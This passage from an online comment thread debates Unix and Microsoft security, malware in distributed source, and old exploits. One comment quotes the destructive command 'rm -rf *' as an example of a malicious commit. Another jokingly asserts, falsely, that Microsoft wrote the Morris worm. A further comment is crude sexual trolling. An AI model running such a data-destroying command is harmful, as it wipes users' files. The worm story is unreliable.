    But my Microsoft Basic for CP/M manual is just a photocopy. :(

  54. Re:Nth post y'all by Anonymous Coward · · Score: 0

    I got n-1

  55. Re:Now that Bill is all about security... ; ) by mpe · · Score: 2

    MANY of the problems microsoft has had were due to marketing decisions that pushed usability over concerns for security.

    It's questionable if they have pushed "usability" as opposed to "bells and whistles" for purely marketing reasons.

  56. Re:And... by Anonymous Coward · · Score: 0

    Most software should only run with low privs, but alas, much needs to be tied to an account with admin privelages. We run into that all the time at work

  57. Re:POWER TO THE CLITS! by Anonymous Coward · · Score: 0

    (Linus T. here, am already banned for being a bad, bad boy.)

    1. How old are you?

    24.

    2. Do you find posts like this funny?

    I find it absolutely hilarious.

    3. Do you care?

    Obviously.

    4. Do you think others find it at all humorous?

    Yes. Or obnoxious. I get off on it either way! Thanks for making me cream my pants, by the way!

    5. Do you think they care?

    At least one cared enough to reply.

    6. Have you ever made somebody's day better for no reason?

    No. My goal is to make you all miserable. I see you lost 3 karma for this post. Happy now? I am! Teeeeeeeeeheeeeee!!!

  58. Re:And... by Anonymous Coward · · Score: 0

    I personally think its easier to make a Unix box vulnerable

    If you're going to set out to make your box as insecure as possible, then it probably is easier with Unix. All you need to do is set up telnetd, allow remote root logins, remove the root password and make $HOME / . There, all you have to do is telnet to the box, type root and hit enter.

    See, even when you're dealing with the absurb, Unix is still easier than NT!

  59. perl script to detect? by mlrtime · · Score: 0


    The nice thing about *NIX is that we don't need a virus scanner to find infected files. as long as you know your perl is clean (tripwire) you should be able to find files and restore from backup.

    Anyone care to write a nice perl script to find these?

  60. Re:And... by Anonymous Coward · · Score: 0

    No, they're going to blame Bill Gates of course.

    The story goes like this: Morris got all the credits for the big worm, but he never wrote it. Actually, his dad was a big bloke at the NSA, and that's where it came from (they had the computers for the job, all Morris had was a user account at the university).

    But the bugs in the worm (especially the one that caused it to re-infect infected systems, multiplying the effects of scanning for new targets on net load etc.) make it more than obvious that it wasn't written by the NSA either, or even in the unix world.
    The worm was actually written by Microsoft.

    It's a well-kept secret that Gates paid off the NSA to launch it, as his first big step in a defamation war against unix and open source that still hasn't ended today.

    Really.

  61. Re:And... by Anonymous Coward · · Score: 0

    A lot of the "bugs" in Unix type software are unexploited, and very difficult to exploit, or are local only.

    Hey, that's weird.
    That's exactly the same as what counts for the majority of the security holes MS fixed.

    The difference being, of course, that in MS software they get advertized (mostly by anti-MS advocates) and fixed (no doubt as a result of that), in unix they're just ignored to death - nobody ever talks about them, so no script kiddie knows about them.

    Just look at the people in this discussion who believed that there are no such things as linux viruses.

  62. If you serve software... by mborland · · Score: 1

    If you serve software as source...use CVS and check your distributed source frequently, to ensure that there are not changes.

    There's a charge that if you distribute source from your site that it's a security risk because someone can hack your site and insert malware. Yep, that's true. Exact same thing for binaries, though.

    And it is true that people don't check hashes and signatures frequently...so what do ya do?

    Well, use CVS and make sure that your distribution matches your latest approved rev. I keep all source in CVS and definitely would notice if either the dist had changed, or if someone had committed a strange new revision with 'rm -rf *' somewhere in it!

    Wouldn't help the sucker who downloaded the infected software...but again the same can be said of infected binaries.

  63. Only a couple of others by phsolide · · Score: 1

    I'm only aware of a couple of other worms from last year:

    From a few years ago:

    You'd be better off not looking at an Anti-Virus company's description of any of these worms. Because of the AV community's deep-seated belief that if they give away even the tiniest shred of information about how a virus works, they end up writing the least informative descriptions possible.

    --
    Quit playing Monopoly with Bill. Switch to one of many non-Microsoft products today.
  64. Re:And... by cscx · · Score: 2

    I vaguely remember this old local root exploit on Sun machines... you used to be able to walk up to the console when it says login:, hit Enter a bunch of times, overflow the buffer, and whammo, you're in as root.